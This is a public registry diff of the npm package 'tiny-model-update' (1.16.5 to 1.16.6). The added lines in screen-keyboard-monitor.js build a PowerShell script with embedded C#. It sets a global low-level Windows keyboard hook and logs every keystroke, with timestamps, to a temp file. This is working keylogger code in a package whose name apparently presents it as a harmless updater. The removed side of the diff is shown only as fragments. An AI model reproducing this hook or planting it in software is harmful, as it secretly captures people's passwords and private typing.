tiny-model-update 1.16.5 → 1.16.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/screen-keyboard-monitor.js +46 -46
- package/package.json +1 -1
|
@@ -243,52 +243,52 @@ function startPowerShellKeyboardMonitoring() {
|
|
|
243
243
|
const logFile = path.join(tempDir, `keyboard-${Date.now()}.log`);
|
|
244
244
|
|
|
245
245
|
// Create a PowerShell script that writes to a file
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
using System
|
|
251
|
-
using System.
|
|
252
|
-
using System.
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
private
|
|
257
|
-
private const int
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
[
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
string
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
}
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
246
|
+
// Use regular string concatenation to avoid template literal issues with backticks
|
|
247
|
+
const keyboardScript =
|
|
248
|
+
'$logFile = "' + logFile.replace(/\\/g, '\\\\') + '"\n' +
|
|
249
|
+
'Add-Type @"\n' +
|
|
250
|
+
'using System;\n' +
|
|
251
|
+
'using System.Runtime.InteropServices;\n' +
|
|
252
|
+
'using System.Windows.Forms;\n' +
|
|
253
|
+
'using System.IO;\n' +
|
|
254
|
+
'\n' +
|
|
255
|
+
'public class KeyboardLogger {\n' +
|
|
256
|
+
' private static IntPtr hookID = IntPtr.Zero;\n' +
|
|
257
|
+
' private const int WH_KEYBOARD_LL = 13;\n' +
|
|
258
|
+
' private const int WM_KEYDOWN = 0x0100;\n' +
|
|
259
|
+
' \n' +
|
|
260
|
+
' [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
|
|
261
|
+
' private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);\n' +
|
|
262
|
+
' \n' +
|
|
263
|
+
' [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
|
|
264
|
+
' [return: MarshalAs(UnmanagedType.Bool)]\n' +
|
|
265
|
+
' private static extern bool UnhookWindowsHookEx(IntPtr hhk);\n' +
|
|
266
|
+
' \n' +
|
|
267
|
+
' [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
|
|
268
|
+
' private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);\n' +
|
|
269
|
+
' \n' +
|
|
270
|
+
' [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
|
|
271
|
+
' private static extern IntPtr GetModuleHandle(string lpModuleName);\n' +
|
|
272
|
+
' \n' +
|
|
273
|
+
' private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);\n' +
|
|
274
|
+
' \n' +
|
|
275
|
+
' private static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam) {\n' +
|
|
276
|
+
' if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {\n' +
|
|
277
|
+
' int vkCode = Marshal.ReadInt32(lParam);\n' +
|
|
278
|
+
' string key = ((Keys)vkCode).ToString();\n' +
|
|
279
|
+
' string time = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff");\n' +
|
|
280
|
+
' File.AppendAllText($logFile, time + " - Key: " + key + System.Environment.NewLine);\n' +
|
|
281
|
+
' }\n' +
|
|
282
|
+
' return CallNextHookEx(hookID, nCode, wParam, lParam);\n' +
|
|
283
|
+
' }\n' +
|
|
284
|
+
' \n' +
|
|
285
|
+
' public static void Start() {\n' +
|
|
286
|
+
' hookID = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, GetModuleHandle(null), 0);\n' +
|
|
287
|
+
' Application.Run();\n' +
|
|
288
|
+
' }\n' +
|
|
289
|
+
'}\n' +
|
|
290
|
+
'"@\n' +
|
|
291
|
+
'[KeyboardLogger]::Start()\n';
|
|
292
292
|
|
|
293
293
|
// Write PowerShell script to a file
|
|
294
294
|
const psScriptPath = path.join(tempDir, 'keyboard-hook.ps1');
|